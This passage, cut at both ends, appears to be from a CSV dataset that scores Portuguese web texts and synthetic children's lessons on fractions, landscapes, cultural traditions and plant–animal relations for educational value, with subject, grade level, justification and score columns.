Janeiro, que ainda fundamentavam-se na teoria miasmática para explicarem a etiologia das doenças, pressupondo que o solo produzia emanações causadoras de doenças que acometiam as populações. O grupo localizado na cidade de Salvador, Bahia, acabava, assim, por desafiar a tradição do ensino e da prática médica local baseada na reprodução do saber médico europeu, principalmente de origem francesa, desvinculado das singularidades da realidade brasileira (PEARD, ...",original,original,original,original,4,0.8 +"Mais um pouco sobre relacionamentos +Um dias desses, enquanto eu lavava a louça ~ ótimo momento para filosofar sobre a vida, eu comecei a pensar sobre diversos tipos de relacionamentos. Mais do que isso, pensei sobre o que faz bem e mal. E, hoje, vou dividir um pouco desses pensamentos com você. +Nesse meu filosofar, eu cheguei a conclusão que não podemos ficar buscando apenas aceitação nos nossos relacionamentos, como se você fosse tão ""ruim"" ou ""insignificante"" que deveria ficar feliz por ser ""aceito"" por alguém. No começo pode até ser bom. Afinal, quando você não consegue enxergar o seu próprio valor, acaba se apegando a quem ~ apesar de todos os seus defeitos ~ consegue se te aturar. +Isso está totalmente errado! A longo prazo, se essa pessoa que te ""aceitou-apesar-de-tudo"" não te entende, você irá apenas sofrer. Você começará uma bola de neve de justificativas, porque essa pessoa que te aceita o suficiente para estar do lado dela não te compreende ~ nem um pouquinho. +Eu sempre procurei alguém que me aceitasse junto com os meus problemas, sempre comecei os meus relacionamentos ~ principalmente amorosos, mas isso vale para amizade também ~ vomitando todos os meus defeitos e problemas para pessoa saber exatamente onde estava se metendo. Achava que podia ser feliz sendo ""tolerada"". Mas não. Bons relacionamentos envolvem algo a mais, entendimento, empatia. +Cada um lida com as circunstâncias da vida de uma maneira, não cabe ao namorada(o) ou amigo(a) te pressionar para você ser algo que não é. Se esse ""defeito/problema"" te faz mal, esse terceiro precisa te apoiar, se colocar no seu lugar e compreender a situação. +Nem tudo precisa ser perfeito e cada um tem o seu tempo para lidar com os problemas da vida, por isso é importante procurar relacionamentos saudáveis, onde você se sinta compreendido e NÃO inferior a pessoa que te ""aceitou-apesar-de-tudo"". Encontrar alguém que te faça enxergar além dos seus problemas e defeitos, isso sim é um bom relacionamento, seja namoro ou amizade. +Postado por Nina Novaes em sexta-feira, agosto 12, 2016",original,original,original,original,2,0.4 +"Além de possibilitar o exercício daquilo que é próprio no processo de desenvolvimento e aprendizagem, brincar é uma dos jogos e brincadeiras na. +O objetivo do presente trabalho é abordar a importância do lúdico no processo de ensino-aprendizagem infantil na dos jogos e brincadeiras como. +Como os jogos e brincadeiras são trabalhados na educação infantil. +O lúdico: jogos, brinquedos e brincadeiras na construção do processo de aprendizagem na educação infantil.",original,original,original,original,2,0.4 +"Trata-se de um arquivo de arquivos, pois que incorpora documentação de três casas titulares, unidas por sucessivos casamentos de seus herdeiros. De um tronco comum de apelido Mascarenhas, que se identifica a partir de meados do século XV, sairão n...",original,original,original,original,1,0.2 +"O Curso de Fundamentos de Psicossomática tem visa aproximar e discutir a psicossomática numa contemporânea, articulando com aspectos fundamentais da teoria junguiana. De modo complementar, propomos uma reflexão a partir da medica chinesa, que como medicina tradicional, nos oferece uma … Continue lendo → +Publicado em Uncategorized | Com a tag Clinica junguiana, Fabricio Fonseca Moraes, Jung, junguiana, junguianos capixabas, medicina chinesa, Psicologia, psicologia analítica, psicossomatica, Psicossomática junguiana | Deixe um comentário +Jung e a Medicina Chinesa(p.3): Os 5 movimentos e o Sistema de Órgãos e Vísceras +Publicado em 1 de maio de 2022 por Fabricio Fonseca Moraes +Nos posts anteriores fizemos um caminho para aproximar fundamentos teóricos da psicologia analítica com a medicina chinesa, especialmente associado os processos energéticos, visto que toda clínica na medicina chinesa e na psicologia analítica é baseada num diagnóstico energético. Com frequência … Continue lendo → +Publicado em textos temáticos, Uncategorized | Com a tag Fabricio Moraes, Jung, junguianos capixabas, medicina chinesa e psicologia, práticas integrativas, psicologia analítica, psicossomática, Psicossomática junguiana | Deixe um comentário +Perspectivas Junguianas acerca do Ego – Parte 1 +Publicado em 9 de agosto de 2020 por admin +O ego é um conceito fundamental para a psicologia analítica pois é a partir dele que podemos compreender e delimitar a relação com os objetos tanto internos e externos, distinguindo a realidade interna e externa. Compreendendo essa importância e, para … Continue lendo → +Publicado em Conceitos Fundamentais, Escola Inglesa | Com a tag desenvolvimento, Ego, Ego na psicologia analítica, Jung, junguianos capixabas, Michael Fordham, psicologia junguiana, teoria do ego | Deixe um comentário +Novo Episódio no “Amplificando Jung” +Publicado em 21 de junho de 2020 por admin +Estamos com mais um Episódio em nosso podcast “Amplificando Jung! O tema atual é a “Psicoterapia e a analise Junguiana” onde a dra. Kelly Tristão nos apresenta suas distinções e aspectos básicos! Quer ouvir? Clique no link: Amplificando Jung +Publicado em Uncategorized | Com a tag Amplificando Jung, Jung no Espirito Santo, junguianos capixabas, podcast, psicologia analítica, psicologia junguiana, Psicoterapia | Deixe um comentário +Contando Histórias – Fragmentos para uma história junguiana no Espirito Santo +Publicado em 18 de março de 2016 por admin +Por Fabrício Moraes Os junguianos são por natureza contadores de histórias sejam por meio de mitos, contos de fadas dentre outras. As histórias nos constituem tanto coletivamente quanto individualmente. A história junguiana capixaba faz parte de minha história pessoal desde … Continue lendo → +Publicado em história, Uncategorized | Com a tag história da psicologia analítica, junguianos capixabas | Deixe um comentário +Pesquisar por: +Fabrício Moraes +Fabrício Moraes Psicólogo Clínico de Orientação Junguiana, Especialista em Teoria e Prática Junguiana, Coordenador de Grupos de Estudos, coordenador do blog ""Jung no Espirito Santo"" e Diretor do CEPAES. Atendendimentos on-line e presencial. Contato: fabriciomoraes@cepaes.com.br / 55 27 993166985 +Kelly Tristão +Dra. Kelly Tristão Psicóloga Clínica de Orientação Junguiana, Especialista em Teoria e Prática Junguiana. Docente em Ensino Superior, idealizadora do projeto ""Feminilidade Junguiana"", coordenadora de grupos de estudo e diretora do CEPAES Realiza atendimentos psicoterapeuticos presencial e on-line e supervisão clinica. Contato: kellytristao@cepaes.com.br / 55 27 992573335",original,original,original,original,2,0.4 +"A marca é Bourjois sim, é muito bom,obrigada pela visita, beijos. +Ele realmente é maravilhoso, a secagem é super rápida e com isso facilita a evitar de borrar. Amoooo... Beijos :D +Adorei a secagem Mi, vou pedir outro, beijos. +Esse ainda não tive a oportunudade de usar.",original,original,original,original,1,0.2 +"Esta atividade tem por objetivo auxiliar aos alunos a verem a importância de trabalhar em equipe e da comunicação entre ela para um bom desenvolvimento, paciência entre outras qualidades. +- O professor divide a turma em duplas explicando-lhes que farão um desenho em conjunto. +- Distribuir os materiais. +- Única regra: um faz e o outro completa. +- Tema livre ou específico. +- Em um intervalo de 1 minuto o educador vai dando o sinal para trocarem. +- Quando perceber que estão finalizando solicite que encerrem o desenho e coloquem o nome dos dois. +- Cada dupla deve mostrar e explicar o seu desenho. +- Você pode perguntar quais foram as dificuldade de trabalhar assim, o que foi mais interessante, como foi esperar e o que aprenderam com esta atividade. +Compartilhar +Gerar link +Facebook +Twitter +Pinterest +E-mail +Outros aplicativos +Marcadores +artes atividade de paciência atividades com desenhos atividades em dupla atividades em equipe atividades em grupo desenho em duplas ENSINO FUNDAMENTAL +Marcadores: artes atividade de paciência atividades com desenhos atividades em dupla atividades em equipe atividades em grupo desenho em duplas ENSINO FUNDAMENTAL +Compartilhar +Gerar link +Facebook +Twitter +Pinterest +E-mail +Outros aplicativos +Comentários +Postar um comentário +Obrigada por me visitar. +Ficarei muito grata pelo seu comentário e irei responder o mais breve possível. +:))) +Postagens mais visitadas deste blog +15 FONTES PARA PROFESSORES BAIXAREM (Parte 1) +fevereiro 20, 2018 +Se era dicas de fontes para usar no word que você queria, vou dar dica de 15 fontes diferentes para baixar. Espero que gostem das fontes que selecionei (fontes de caligrafia, cursivas, pontilhadas e vazadas), lembrando que eu não criei nenhuma fonte, apenas estou compartilhando as fontes e os sites confiáveis que vocês podem baixar, todas as imagens foram tirados dos próprios sites que disponibilizam as fontes. Para baixar clique no link para ser direcionado para o site. 1. Fonte Escolar Puntos Link >> https://www.netfontes.com.br/view/fontecursivapontilhada/ 2. Fonte Life Lissons Link >> https://www.dafont.com/pt/life-lessons.font 3. Fonte Memima Mestra 2 Link >> https://www.netfontes.com.br/view/mestra2/ 4. Fonte Memima Mestra 4 Link >> https://www.netfontes.com.br/view/mestra4/ 5. Fonte Maternellecollor Trace Cursiva Link >> https://www.netfontes.com.br/view/maternellecolor_tra/ 6. Fonte Cursiva Pontilhada Link >> +Compartilhar +Gerar link +Facebook +Twitter +Pinterest +E-mail +Outros aplicativos +17 comentários +Leia mais +ATIVIDADES E DICAS para a SEMANA DE ADAPTAÇÃO na Educação Infantil +fevereiro 16, 2018 +Boa noite! Várias pessoas nessas últimas semanas me pediram atividades para a primeira semana de aula na Educação Infantil e aqui estou eu fazendo esse post extra. Só que antes de começar tenho algumas observações a fazer: 💙 Devemos ter em mente que muitos crianças estão frequentando pela primeira vez a escola e que é normal que elas se sintam retraídas e que chorem quando os pais vão embora. Para isso é necessário um ambiente acolhedor e seguro. As crianças precisam sentir que na escola podem se sentir seguras, acolhidas e amadas pelos que estão lá, principalmente pelos professores, por isso nessa primeira semana faça atividades que ajudem a criar esse clima, procure criar afeto pela criança e faça com que ela crie o mesmo, não se prenda a conteúdos e sim nas crianças, principalmente aquelas que mais precisam. Além disso, procure com que as crianças se enturmem e que cada uma sinta que é parte importante da turma. 💖 CRIE UMA ROTINA Crie uma rotina e faça com que al +Compartilhar +Gerar link +Facebook +Twitter +Pinterest +E-mail +Outros aplicativos +8 comentários +Leia mais +BINGO DAS OPERAÇÕES ( com 60 cartelas dos números 0 a 100 para baixar) +março 14, 2018 +Olá meus amores tudo bem com vocês? Vamos a mais uma opção de JOGO DE BINGO? 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(Foto: Rafa Medeiros). +O Rec-Beat Apresenta, ação paralela do festival, traz novas apostas da cena nacional em shows que acontecem em Olinda, no próximo sábado (18) e em João Pessoa no dia 24 deste mês. +Em Olinda o Rec-Beat Apresenta acontece na Casa do Cachorro Preto e traz como apostas Amaro Freitas, Márcio Oliveira e o grupo feminino Arrete. O pianista Amaro Freitas lançou no final do ano passado o elogiadíssimo álbum de estreia Sangue Negro e abre a noite com seu trabalho autoral que transita pelo jazz , bebop, afrojazz, samba e frevo. O trabalho dele entrou na nossa lista de melhores discos de 2016. +Na sequência vem Márcio Oliveira, que se dedica ao trompete desde os doze anos de idade e já passou por inúmeros projetos relevantes, como a Orquestra Popular do Recife. Para o “Rec-Beat Apresenta” Márcio traz o resultado do álbum Encabeçando, lançado em 2015, onde ele explora toda a diversidade e linguagem da música afro-brasileira. +Já o Arrete, formado pelas Mcs Ya Juste, Nina Rodrigues e Weedja Lins e a Bgirl Duda Serafim, trazem músicas que estarão no disco de estreia, ainda inédito. +Na abertura, intervalos entre as bandas e para encerrar a noite, a Casa do Cachorro Preto recebe o DJ Rimas.INC, que envereda pela música pop e eletrônica e traz no set um mix com suas próprias faixas produzidas a partir de mashups, bootlegs e reworks, indo do coco ao moombahton, da embolada ao raggamuffin, do baião a cumbia, do forró a música balkan. +Em João Pessoa, na sexta-feira de Carnaval, o Rec-Beat Apresenta leva à capital paraibana, apostas e um pouco do lineup do Festival. O Centro Cultural Piollin receberá O Terno, Negros de Harvar, ÀTTØØXXÁ, Seu Pereira, Dj Dolores e a DJ Sarah Blackbird. +O Rec-Beat Apresenta em Olinda tem entrada gratuita. Em João Pessoa a entrada custa R$ 20, à venda na plataforma Sympla. +Compartilhe: +Tweet +Arquivado em +Amaro FreitasArreteDJ DoloresDJ Rimas.IncMárcio OliveiraNegros de HarvarO TernoRec BeatRec-Beat ApresentaMúsica Novos Sons +Equipe O Grito! +Perfil da equipe da Revista O Grito, atualizado pelos editores, repórteres e colaboradores. +Leia Mais +Papo com Juan Guiã, atração do Festival La Folie: “É importante falar sobre a existência das pessoas com deficiência” +26/11/2022, 18:07 +Túlio Vasconcelos +Festival LGBTQIA+, La Folie promete maratona de shows com Pabllo Vittar, Luísa Sonza, Gloria Groove e Karol Conká +26/11/2022, 09:57 +Equipe O Grito! +Calliz lança o trap “Roubei Seu Coração” flertando com o pop e o rap de 1980 +25/11/2022, 14:41 +Matheus Nascimento +DJ Ella de Vuono lança o single “Touch (Baile Mix)” com tons eróticos +24/11/2022, 10:00 +Matheus Nascimento +Aiace é destaque nas atrações do festival latinoamericano Conexión Sónica +23/11/2022, 16:12 +Matheus Nascimento +Banda carioca Do Amor lança a canção “Múmia da Meia Noite” +23/11/2022, 09:35 +Gabriela Agra +Últimos posts +Papo com Juan Guiã, atração do Festival La Folie: “É importante falar sobre a existência das pessoas com deficiê...",original,original,original,original,2,0.4 +"Você já parou para pensar como os animais e as plantas são importantes um para o outro? Imagine um mundo sem árvores, flores, passarinhos ou abelhas. Seria muito diferente, não é mesmo? Animais e plantas vivem juntos em um mundo cheio de trocas e ajudas mútuas. Essa relação é fundamental para a vida na Terra! + +As plantas, por exemplo, são como as cozinheiras da natureza. Elas usam a luz do sol, a água e o ar para produzir o próprio alimento, um processo chamado fotossíntese. E sabe o que mais? Durante esse processo, as plantas liberam oxigênio, o ar que respiramos! Sem as plantas, os animais não teriam como respirar e sobreviver. Já os animais, como abelhas e beija-flores, ajudam as plantas a se reproduzirem. Eles levam o pólen de uma flor para outra, permitindo que novas sementes sejam formadas e novas plantas nasçam. É como se eles fossem os carteiros das flores, entregando mensagens importantes para garantir que a vida continue. + +Outros animais, como as aves e os macacos, comem frutas e espalham as sementes por todos os lados. Assim, novas árvores e plantas podem crescer em lugares diferentes. Até mesmo as minhocas, que vivem embaixo da terra, ajudam as plantas! Elas cavam túneis no solo, permitindo que a água e o ar cheguem às raízes das plantas com mais facilidade. Além disso, as fezes das minhocas são um ótimo adubo para as plantas, deixando-as mais fortes e saudáveis. + +As relações entre animais e plantas são muitas e variadas. Algumas são de ajuda mútua, como vimos, outras são de alimentação, como quando um coelho come uma cenoura. O importante é entender que todos os seres vivos estão conectados e dependem uns dos outros para sobreviver. Que tal observar o seu jardim ou um parque perto da sua casa? Você consegue identificar alguma dessas relações entre animais e plantas? Pense em como podemos cuidar das plantas e dos animais para garantir que essa amizade continue por muitos e muitos anos. Proteger a natureza é proteger a nossa própria vida!",Ciências,Animais e plantas,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, abordando de forma clara e acessível a interdependência entre animais e plantas, essencial para o ensino fundamental. A linguagem é adequada para diferentes faixas etárias, apresentando exemplos concretos e incentivando a observação do ambiente. A explicação sobre fotossíntese e polinização, embora básica, é relevante. O texto promove a conscientização ambiental e a importância da preservação. Atende a todos os critérios.",5,1.0 +"Olá, pequenos exploradores da matemática! Já pararam para pensar que os números estão por toda parte? Hoje, vamos embarcar em uma jornada para desvendar os mistérios das frações e dos decimais, dois conceitos super importantes e que fazem parte do nosso dia a dia. Preparados? + +Imagine que sua mãe fez um bolo delicioso para o lanche da tarde. Ela corta o bolo em 8 pedaços iguais. Se você comer um desses pedaços, você comeu 1/8 (um oitavo) do bolo. Isso é uma fração! A fração representa uma parte de um todo. O número de baixo (8) indica em quantas partes o bolo foi dividido, e o número de cima (1) indica quantas partes você comeu. Fácil, né? + +Agora, pense em uma barra de chocolate que também foi dividida em pedacinhos menores. Se a barra tem 10 pedaços e você come 3, você comeu 3/10 (três décimos) da barra. Mas e se quisermos representar essa quantidade de uma forma diferente? É aí que entram os decimais! 3/10 também pode ser escrito como 0,3 (zero vírgula três). Os decimais são outra forma de representar partes de um todo, assim como as frações, e eles usam a vírgula para separar a parte inteira do número da parte que é menor que um inteiro. + +Vamos a outro exemplo? Imagine que você tem R$ 1,50 (um real e cinquenta centavos) para comprar um pirulito. Esse número, R$ 1,50, é um decimal! O '1' representa um real inteiro, e o '50' representa 50 centavos, que é uma parte de um real. Cinquenta centavos é o mesmo que metade de um real, ou seja, 1/2 (um meio). Percebeu como as frações e os decimais estão conectados? + +As frações e os decimais nos ajudam a entender o mundo à nossa volta. Quando dividimos uma pizza com os amigos, quando medimos o comprimento de um brinquedo com uma régua, ou quando calculamos o troco na padaria, estamos usando esses conceitos matemáticos. + +Que tal praticar um pouco? Pense em diferentes situações do seu dia a dia e tente identificar as frações e os decimais presentes nelas. Quantos pedaços de fruta você comeu hoje? Qual a altura do seu animal de estimação? Quanto custa o seu gibi favorito? Ao observar e experimentar, você vai se tornar um expert em frações e decimais, e a matemática se tornará uma aventura ainda mais divertida! + +Lembre-se: a matemática está em tudo! Continue explorando, questionando e aprendendo. O mundo dos números é infinito e cheio de surpresas!",Matemática,Frações e decimais,anos iniciais (1º ao 5º ano),"O trecho é altamente relevante para o ensino fundamental, introduzindo frações e decimais de forma lúdica e contextualizada. Utiliza exemplos práticos do cotidiano, como bolo, chocolate e dinheiro, facilitando a compreensão dos conceitos. A linguagem é clara e acessível, adequada para crianças, e incentiva a prática e a exploração. O texto é coerente, focado e valioso para um aprendizado estruturado.",5,1.0 +"Diante de um panorama como esse não é de estranhar que a sociedade brasileira seja completamente predatória, com nossas elites dirigentes sofrendo o que Florestan Fernandes chama de resistência sociopática à mudança. Quando o povo, entendido como o conjunto de indivíduos e coletividades posicionados na base do modo de produção, tem suas aspirações à cidadania e à democracia boicotadas e duramente reprimidas pelos estratos mais altos. +No Brasil o surgimento de sentimentos demofóbicos começou nos anos oitenta do século XIX, com a radicalização do movimento abolicionista, e se aprofundaram na Primeira República, com as revoltas populares do período. A multidão de pessoas humildes e iletradas manifestando-se nas ruas contra o governo causavam grande repulsa da nossa elite econômica e política. Para eles, o ideal de povo era aquele que se pensava que havia no interior do país: ordeiro, submisso e cônscio do senso de hierarquia e tradição. +A partir de 1988 vivemos um modelo de democracia onde o sufrágio é o mais amplo possível, temos uma Carta Magna com um grande rol de direitos individuais e sociais. Nossa constituição possui uma grande ênfase em defesa do cidadão. Entretanto, a demofobia não foi extinguida, mas se atualizou dentro deste novo contexto de ampla democratização. Ainda permanece a visão de que o “verdadeiro” povo brasileiro é aquele ordeiro, patriota, respeitador da tradição e da hierarquia. Uma manifestação popular só é respeitada pelas autoridades e pelo governo quando esta obedece a este estilo e quando apresenta pautas genéricas que podem ser usadas por certos grupos políticos para atingir seus adversários. +O caminho possível é a resolução dos conflitos através do diálogo, do debate e da não violência. Em mundo repleto de guerras, onde a paz se tornou algo raro, lutar pela boa sociedade é um imperativo de cada um de nós. +Portanto, pratiquemos o diálogo e a tolerância. Devemos reconhecer o outro como portador de direitos, como um igual, como alguém merecedor tanto quanto nós do melhor que podemos oferecer, que é a nossa civilidade e nossa solidariedade. +On 18 de janeiro de 2017 18 de janeiro de 2017 por Ricardo Limaem Ciência Politica, Cidadania, Democracia, Estado Nacional, Igualdade, Liberalismo, Maquiavel, Modernidade, Sociedade PolíticaDeixe um comentário +Uma das maiores contribuições do liberalismo politico, não confundir com liberalismo econômico, para a modernidade foi o estado constitucional e a liberdade politica individual. Segundo André Singer, no texto Maquiavel e o Liberalismo: a Necessidade da República (2006) o liberalismo necessita de um outro elemento para existir, que é a participação política. +Num texto que escrevi já há algum tempo (leia aqui), apresentei os caracteres gerais da doutrina politica do florentino em O Príncipe. O exercício do poder deve ser manter a ordem e a paz, eliminar as pressões externas e as dissenções internas. O líder politico deve ter a capacidade de ler o fatos, reunir adeptos por uma causa comum e coragem de executar as ações necessárias para alcançar um objetivo determinado e aproveitar as oportunidades trazidas pelas rodas a Fortuna. +Tal reflexão está de acordo com a sua condição de cidadão de Florença, uma cidade com larga tradição republicana, embora no momento em que Maquiavel escreveu sua obra ela esteja sob o regime monárquico, e em sintonia com a tradição a historiografia italiana, para quem o momento de decadência do Mundo Romano começou quando ele deixou de ser uma república para tornar-se um império. +Aqui entramos na maior contribuição do liberalismo para a modernidade, ou seja, a liberdade individual, entendido aqui como a liberdade do cidadão livre, e a liberdade política. Estes são dois legados que precisam ser preservados e combinados com o liberalismo social caso queiramos uma sociedade mais justa. +Em tempos de crise, ler e reler Maquiavel pode nos dar respostas para muitas das questões do nosso tempo. +A Modernização Leva a Desordem Moral? +On 13 de novemb...",original,original,original,original,3,0.6 +"Salada de estórias: 14 de Março – estoriasdaquemedalemmar +FactualidadeSalada de estórias: 14 de Março A previsão da expansão da extrema-direita na Alemanha, o início da missão ExoMars e a venda do Monumental a uma imobiliária espanhola marcam esta segunda-feira a par de duas outras estórias bem menos convencionais. +Sigam o oxigénio +Em 2018, o lançamento do telescópio espacial James Webb abrirá um universo incomensurável de oportunidades para aqueles que procuram vida em planetas semelhantes à Terra. +Os astrónomos poderão, nessa ocasião, analisar corpos a anos de luz de distância e examinar as suas atmosferas. O reconhecimento das bio-assinaturas, possível através do teste do seus gases, será, então, a principal tarefa na demanda pela busca por vida alienígena. +O oxigénio é a chave desse processo. +A análise do anel de luz em torno de cada planeta procurará, por isso, vapores que só poderiam ter sido produzidos por seres vivos. +Embora conscientes dos falsos-positivos que a investigação através dos vestígios de oxigénio pode provocar, os cientistas continuam empenhados neste método, confirma a Wired. +O primo genial do metro +O Hyperloop promete revolucionar a indústria dos transportes. +Uma rede de tubos pneumáticos cobrirá as cidades, transportando passageiros em cápsulas tão velozes que podem mesmo atingir as 700 milhas por hora. +Uma viagem que hoje demora cinco horas, por exemplo a ligação Los Angeles-São Francisco – transformar-se-á num passeio de 36 minutos. +Até 2018, o primeiro modelo teste será erguido na Califórnia e uma rede em tamanho real será experimentada na conexão de Budapeste a Viena, passando pelo Bratislava. +Dirk Ahlorn, presidente de uma das duas empresas responsáveis por este projecto, confessa à Fast Company que as viagens não serão somente mais rápidas, serão, mesmo, mais baratas. +Isabel Patrício14 de Março de 201615 de Março de 2016Destaque, Factualidade 2 pensamentos sobre “Salada de estórias: 14 de Março” Diana diz: 14 de Março de 2016 às 23:42 Ui, gostei muito da estória do Hyperloop. Isto quer dizer que vou poder deixar de andar de avião, hehe. O meu pânico vai acabar!! 😀 😀 E parecem-me bem mais ecológicos que o aivão! +Ps: Conexão da Hungria a Budapeste? Está qualquer estranha no texto! +Responder Isabel Patrício diz: 15 de Março de 2016 às 0:14 Não sei que género de combustível vai alimentar este sistema, mas suponho que, realmente, seja uma energia mais limpa. +Na Europa, deverá ser uma forma excelente de transporte entre cidades. Adeus, terríveis aeroportos ahaha +PS: Sim, por momentos, ri-me com a minha esquizofrenia geográfica. A pressa faz dessas coisas, nem vemos que estamos a escrever. +Anterior Previous post: Ecrãlismo ou o peso da almaAvançar Next post: Companhia ou somos dois",original,original,original,original,3,0.6 +"Rand África do Sul em Tupanciretã/RS - Comprar Rand África do Sul Hoje | Câmbio Store +Comprar Rand África do Sul em Tupanciretã/RS +Comprar Rand África do Sul em Tupanciretã/RS na Câmbio Store +De maneira cada vez mais frequente, as pessoas passaram a procurar na internet formas mais práticas de fazer tudo isso de maneira online. Já imaginou ter que ir ou ligar em cada casa de câmbio em Tupanciretã/RS para encontrar a melhor cotação? Certamente você levaria horas e não teria a garantia da menor valor do câmbio. Com isso, até mesmo o receio de ir com largas quantias em dinheiro até um local como a casa de câmbio pode ser evitado, conseguindo converter pela internet o real para Rand África do Sul em Tupanciretã/RS ou mesmo converter em real qualquer outra moeda estrangeira. +Antigamente, a única maneira de conseguir esse tipo de informação era fazendo a pesquisa no seu jeito mais tradicional: visitando todas as casas de câmbio e bancos cadastrados autorizados no Banco Central para comprar Rand África do Sul em Tupanciretã/RS. Na melhor das hipóteses, ligações também poderiam resolver, mas certamente lhe tomariam ainda mais tempo para explicar a sua situação ou mesmo algo pior: encontrar quem realmente tivesse a informação de forma correta e atualizada. +A Câmbio Store nasceu para simplificar o processo e comparar as melhores cotações para comprar Rand África do Sul em Tupanciretã/RS entre bancos, corretores e casas de câmbio. Além disso, somos os garantidores de todas as transações que ocorrem através de nossa plataforma. Desta forma, a Câmbio Store cresceu e se consolidou como o maior e-commerce de moedas estrangeiras do país. Viu que bacana ? ;-) +Se você não tem muita experiência em comprar Rand África do Sul em Tupanciretã/RS e está fazendo isso pela primeira vez, preste atenção nas dicas simples e objetivas que apresentaremos na sequência. +Além de você ter uma grande dor de cabeça, você podia acabar até desistindo tamanho seria o trabalho de encontrar o dado desejado. No entanto, através da Câmbio Store, sua pesquisa para comprar Rand África do Sul em Tupanciretã/RS basta um simples clique e tudo se transforma em uma medida objetiva, prática e extremamente funcional. +Rand África do Sul comercial x Rand África do Sul turismo em Tupanciretã/RS. Qual comprar? +Quando falamos sobre Rand África do Sul comercial em Tupanciretã/RS, estamos falando da moeda utilizada unicamente para o trânsito de importação ou exportação de bens e serviços. Logo, não existe de maneira real a troca do dinheiro em si, mas sim de valores relacionados a ele, tudo de maneira eletrônica. Isso, obviamente, evita gastos com a emissão do papel-moeda, produção das notas, inserir esse produto no mercado, arcar com possível prejuízo se a moeda “encalhar” no mercado com a falta de compradores… +Já quando falamos de Rand África do Sul turismo em Tupanciretã/RS, como o próprio nome já diz, ele é usado essencialmente para atividades relacionadas ao turismo, ou seja, compras feitas de bens e serviços no país em que a moeda é vigente. É nesse tipo de moeda que todos os custos não colocados na moeda comercial são inclusos, inclusive aqueles de percentual que as casas de câmbio e bancos recebem como intermediários da transação. Sendo assim, o seu valor de conversão invariavelmente sairá mais caro. +Por que é mais vantajoso comprar Rand África do Sul em Tupanciretã/RS online? +Por terem estruturas imensas que precisam ter seus custos pagos (além de terem se acostumado com o passar da história do mundo sendo “soberanas” nesse tipo de negociação), os bancos e instituições financeiras que transacionam Rand África do Sul em Tupanciretã/RS praticam taxas sobre o câmbio que variar até a 37% do valor total. E tudo isso “embutido” na transação através de uma série de papéis e procedimentos com muita burocracia. +Quando falamos no mundo online de converter Rand África do Sul em real, por exemplo, deixamos de lado praticamente toda a parte burocrática. Nesse método, o que menos existe são...",original,original,original,original,2,0.4 +"Você já parou para pensar por que comemos panetone no Natal ou pulamos fogueira em junho? Essas são apenas algumas das muitas tradições culturais que fazem do Brasil um país tão rico e diverso! Mas, afinal, o que são tradições culturais? + +Imagine que a cultura de um povo é como uma grande árvore. As raízes dessa árvore representam as tradições: os costumes, crenças, valores, festas, comidas e histórias que são passados de geração em geração. Essas tradições ajudam a construir a identidade de um grupo, fazendo com que as pessoas se sintam parte de algo maior e compartilhem um senso de pertencimento. + +No Brasil, a diversidade cultural é enorme! Somos um país formado por diferentes povos, como os indígenas, os africanos, os europeus e os asiáticos. Cada um desses grupos contribuiu com suas próprias tradições, que se misturaram e transformaram ao longo do tempo. Por exemplo, a feijoada, um prato típico brasileiro, tem suas raízes na culinária africana, mas também recebeu influências portuguesas e indígenas. Da mesma forma, o carnaval, uma das maiores festas do Brasil, combina elementos de festas europeias com ritmos africanos e indígenas. + +E não pense que as tradições culturais são coisas do passado! Elas estão vivas e em constante transformação. A música, a dança, a culinária e as festas populares são formas de expressar e renovar essas tradições. Que tal pesquisar sobre o Bumba Meu Boi, uma festa popular do Nordeste, ou sobre o Congado, uma manifestação cultural afro-brasileira? Você vai se surpreender com a riqueza e a beleza dessas tradições! + +As tradições culturais são importantes porque nos ajudam a entender quem somos, de onde viemos e para onde queremos ir. Elas nos conectam com o passado, nos ensinam sobre o presente e nos inspiram para o futuro. Ao valorizar e preservar as nossas tradições, estamos construindo um Brasil mais justo, igualitário e diverso. + +Para concluir, te convido a refletir: Quais tradições culturais você pratica em sua família? Como essas tradições contribuem para a sua identidade? O que podemos fazer para valorizar e preservar a nossa cultura?",História,Tradições culturais,anos finais (6º ao 9º ano),"O trecho é altamente relevante para fins educacionais no ensino fundamental. Apresenta conceitos importantes sobre tradições culturais de forma clara e consistente, com exemplos práticos e perguntas reflexivas. A linguagem é acessível e o conteúdo é adequado para a faixa etária, incentivando a pesquisa e a valorização da diversidade cultural brasileira. O texto cumpre os critérios para receber a pontuação máxima.",5,1.0 +"Olá, pequenos exploradores! Já pararam para pensar como o Brasil é grande e cheio de lugares diferentes? Nosso país é como um baú de tesouros, repleto de paisagens incríveis! Hoje, vamos embarcar numa aventura para conhecer um pouquinho mais sobre elas. + +Primeiro, vamos entender o que é uma paisagem. Imagine que você está olhando pela janela da sua casa. Tudo o que você vê lá fora – as árvores, os prédios, as pessoas, o céu – forma a paisagem. A paisagem pode ser natural, quando tem muitos elementos da natureza, como florestas, rios e montanhas. Ou pode ser cultural, quando é transformada pelas pessoas, como cidades, plantações e estradas. + +No Brasil, temos paisagens de todos os tipos! Na Amazônia, por exemplo, encontramos a maior floresta tropical do mundo, com rios enormes e uma variedade incrível de plantas e animais. Já no Nordeste, as praias são paradisíacas, com coqueiros e águas quentinhas, além do sertão, com uma vegetação adaptada à seca, como os cactos. + +Se formos para o Sudeste, vamos encontrar grandes cidades, como São Paulo e Rio de Janeiro, com muitos prédios e avenidas movimentadas. Mas também há montanhas e praias lindas! E no Sul, o clima é mais frio, com campos verdes e araucárias, que são árvores muito especiais. + +Cada paisagem conta uma história sobre o lugar e as pessoas que vivem ali. As paisagens do Brasil são importantes para nossa cultura e economia. A agricultura, a pesca, o turismo, tudo isso depende das características de cada região. + +Agora, que tal pensarmos um pouco? Qual é a paisagem que você mais gosta? O que ela tem de especial? Como as pessoas cuidam dessa paisagem? Será que podemos fazer algo para proteger ainda mais os nossos tesouros naturais? Que tal desenhar a paisagem que você mais gosta? Imagine as cores, os sons, os cheiros… Use sua criatividade e compartilhe sua arte com seus amigos e familiares! + +Explorar as paisagens do Brasil é uma forma divertida de aprender sobre geografia, história e cultura. Cada lugar tem sua beleza e importância, e cabe a nós valorizar e proteger esses tesouros para as futuras gerações. Então, preparem suas mochilas e vamos continuar explorando esse Brasilzão!",Geografia,Paisagens brasileiras,anos iniciais (1º ao 5º ano),"O texto é altamente relevante para o ensino fundamental, introduzindo o conceito de paisagem de forma clara e acessível. Apresenta exemplos diversos do Brasil, incentivando a reflexão e a criatividade dos alunos. A linguagem é adequada para crianças, e o conteúdo é valioso para o aprendizado de geografia, história e cultura, com foco na valorização e proteção do patrimônio natural.",5,1.0 +"Home - 